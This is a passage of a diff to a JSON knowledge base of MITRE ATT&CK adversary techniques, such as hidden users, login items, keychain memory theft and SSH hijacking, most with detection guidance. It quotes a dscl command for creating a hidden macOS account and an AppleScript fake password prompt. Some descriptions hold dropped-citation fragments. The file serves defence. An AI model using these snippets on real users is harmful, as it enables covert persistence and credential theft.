2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Android", + "iOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1035" - ], - "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392" + "https://attack.mitre.org/techniques/T1461", + "https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/", + "https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/", + "https://srlabs.de/bites/spoofing-fingerprints/", + "https://support.apple.com/en-us/HT204587", + "https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/", + "https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/" + ] }, - "value": "Service Execution" + "uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", + "value": "Lockscreen Bypass - T1461" }, { - "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.[[Citation: Wikipedia BIOS]][[Citation: Wikipedia UEFI]][[Citation: About UEFI]]\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected.[[Citation: MITRE Trustworthy Firmware Measurement]] Dump and inspect BIOS images on vulnerable systems and compare against known good images.[[Citation: MITRE Copernicus]] Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.[[Citation: McAfee CHIPSEC Blog]][[Citation: Github CHIPSEC]][[Citation: Intel HackingTeam UEFI Rootkit]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, BIOS, EFI\n\nContributors: Ryan Becwar", + "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).", "meta": { - "mitre_data_sources": [ - "API monitoring", - "BIOS", - "EFI" + "external_id": "T1147", + "kill_chain": [ + "mitre-attack:defense-evasion" ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1019", - "https://en.wikipedia.org/wiki/Unified%20Extensible%20Firmware%20Interface", - "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html", - "http://www.uefi.org/about", - "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", - "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about", - "https://en.wikipedia.org/wiki/BIOS", - "https://github.com/chipsec/chipsec", - "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/" - ], - "uuid": "6856ddd6-2df3-4379-8b87-284603c189c3" - }, - "value": "System Firmware" - }, - { - "description": "Process hollowing occurs when a process is created in a suspended state and the process's memory is replaced with the code of a second program so that the second program runs instead of the original program. Windows and process monitoring tools believe the original process is running, whereas the actual program running is different.DLL Injection to evade defenses and detection analysis of malicious process execution by launching adversary-controlled code under the context of a legitimate process.\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior.\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, API monitoring", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1093", - "http://www.autosectools.com/process-hollowing.pdf" - ], - "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21" - }, - "value": "Process Hollowing" - }, - { - "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401[[Citation: Cybereason OSX Pirrit]].\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: MacOS, OS X\n\nData Sources: Authentication logs, File monitoring", - "meta": { "mitre_data_sources": [ "Authentication logs", "File monitoring" ], "mitre_platforms": [ - "MacOS", - "OS X" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1147", + "https://attack.mitre.org/techniques/T1147", "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty" - ], - "uuid": "8c31ad7f-a31e-400e-b66a-08bc53660967" + ] }, - "value": "Hidden Users" + "uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", + "value": "Hidden Users - T1147" }, { - "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window [[Citation: Antiquated Mac Malware]].\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring", + "description": "Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.\n\nOn Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.\n\nOn iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.", "meta": { - "mitre_data_sources": [ - "File monitoring" + "external_id": "T1418", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:discovery" ], "mitre_platforms": [ - "MacOS", - "OS X" + "Android", + "iOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1143", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" - ], - "uuid": "52619537-a5c4-4b7b-aac0-6f214d0dfeba" + "https://attack.mitre.org/techniques/T1418", + "https://developer.android.com/reference/android/content/pm/PackageManager.html", + "https://andreas-kurtz.de/2014/09/malicious-ios-apps/" + ] }, - "value": "Hidden Window" + "uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "value": "Application Discovery - T1418" }, { - "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them[[Citation: Adding Login Items]]. Users have direct control over login items installed using a shared file list which are also visible in System Preferences[[Citation: Adding Login Items]]. These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist[[Citation: Methods of Mac Malware Persistence]]. Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in[[Citation: Malware Persistence on OS X]][[Citation: OSX.Dok Malware]].\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: MacOS, OS X", + "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "meta": { - "mitre_platforms": [ - "MacOS", - "OS X" + "external_id": "T1184", + "kill_chain": [ + "mitre-attack:lateral-movement" ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1162", - "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "uuid": "6a63ed12-fe3c-42e3-9c5e-2fcd740dc5ab" - }, - "value": "Login Item" - }, - { - "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function.DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1034", - "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", - "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120", - "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/", - "http://support.microsoft.com/KB/103000", - "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx", - "http://msdn.microsoft.com/en-us/library/ms682425", - "http://msdn.microsoft.com/en-us/library/ms687393" - ], - "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02" - }, - "value": "Path Interception" - }, - { - "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\nset thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")\n[[Citation: OSX Keydnap malware]]\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.[[Citation: OSX Malware Exploits MacKeeper]]\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: MacOS, OS X\n\nData Sources: User interface, Process Monitoring", - "meta": { - "mitre_data_sources": [ - "User interface", - "Process Monitoring" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1141", - "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" - ], - "uuid": "cbd1028b-eeac-40bd-b86e-0430f4e127a9" - }, - "value": "Input Prompt" - }, - { - "description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items[[Citation: Startup Items]]. This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism[[Citation: Methods of Mac Malware Persistence]]. Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1165", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "uuid": "c3dc8707-c1cd-4ce0-add5-5302670770b3" - }, - "value": "Startup Items" - }, - { - "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.[[Citation: Kaspersky Careto]][[Citation: Palo Alto Prince of Persia]]\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring\n\nContributors: Itzik Kotler, SafeBreach", - "meta": { - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1145", - "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf", - "https://en.wikipedia.org/wiki/Public-key%20cryptography" - ], - "uuid": "f6f87898-f389-4962-8c0a-2db10aa667e8" - }, - "value": "Private Keys" - }, - { - "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system.[[Citation: TechNet Logon Scripts]] The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root[[Citation: creating login hook]]. There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1037", - "https://support.apple.com/de-at/HT2420", - "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx" - ], - "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334" - }, - "value": "Logon Scripts" - }, - { - "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism[[Citation: Sofacy Komplex Trojan]].\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1150", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" - ], - "uuid": "26a5fec2-2159-4dea-aa9f-8dafa90976ab" - }, - "value": "Plist Modification" - }, - { - "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Reg may be used for local or remote Registry modification.Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1112", - "https://technet.microsoft.com/en-us/library/cc754820.aspx", - "https://technet.microsoft.com/en-us/library/cc732643.aspx" - ], - "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4" - }, - "value": "Modify Registry" - }, - { - "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1023" - ], - "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810" - }, - "value": "Shortcut Modification" - }, - { - "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.[[Citation: OS X Keychain]][[Citation: External to DA, the OS X Way]] Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.[[Citation: OS X Keychain]]\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.[[Citation: OS X Keychain]][[Citation: OSX Keydnap malware]]\n\nPlatforms: OS X\n\nData Sources: Process Monitoring", - "meta": { - "mitre_data_sources": [ - "Process Monitoring" - ], - "mitre_platforms": [ - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1167", - "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", - "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain" - ], - "uuid": "6ebe5b09-ff7d-48c8-96d3-8a9429ba5d48" - }, - "value": "Securityd Memory" - }, - { - "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions.Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1050", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://technet.microsoft.com/en-us/library/cc772408.aspx" - ], - "uuid": "478aa214-2ca7-4ec0-9978-18798e514790" - }, - "value": "New Service" - }, - { - "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, Address Resolution Protocol (ARP) and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow", - "meta": { - "mitre_data_sources": [ - "Network device logs", - "Host network interface", - "Netflow/Enclave netflow" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1040" - ], - "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529" - }, - "value": "Network Sniffing" - }, - { - "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available,[[Citation: Wikipedia Exe Compression]] but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Binary file metadata", - "meta": { - "mitre_data_sources": [ - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1045", - "http://en.wikipedia.org/wiki/Executable%20compression" - ], - "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88" - }, - "value": "Software Packing" - }, - { - "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and 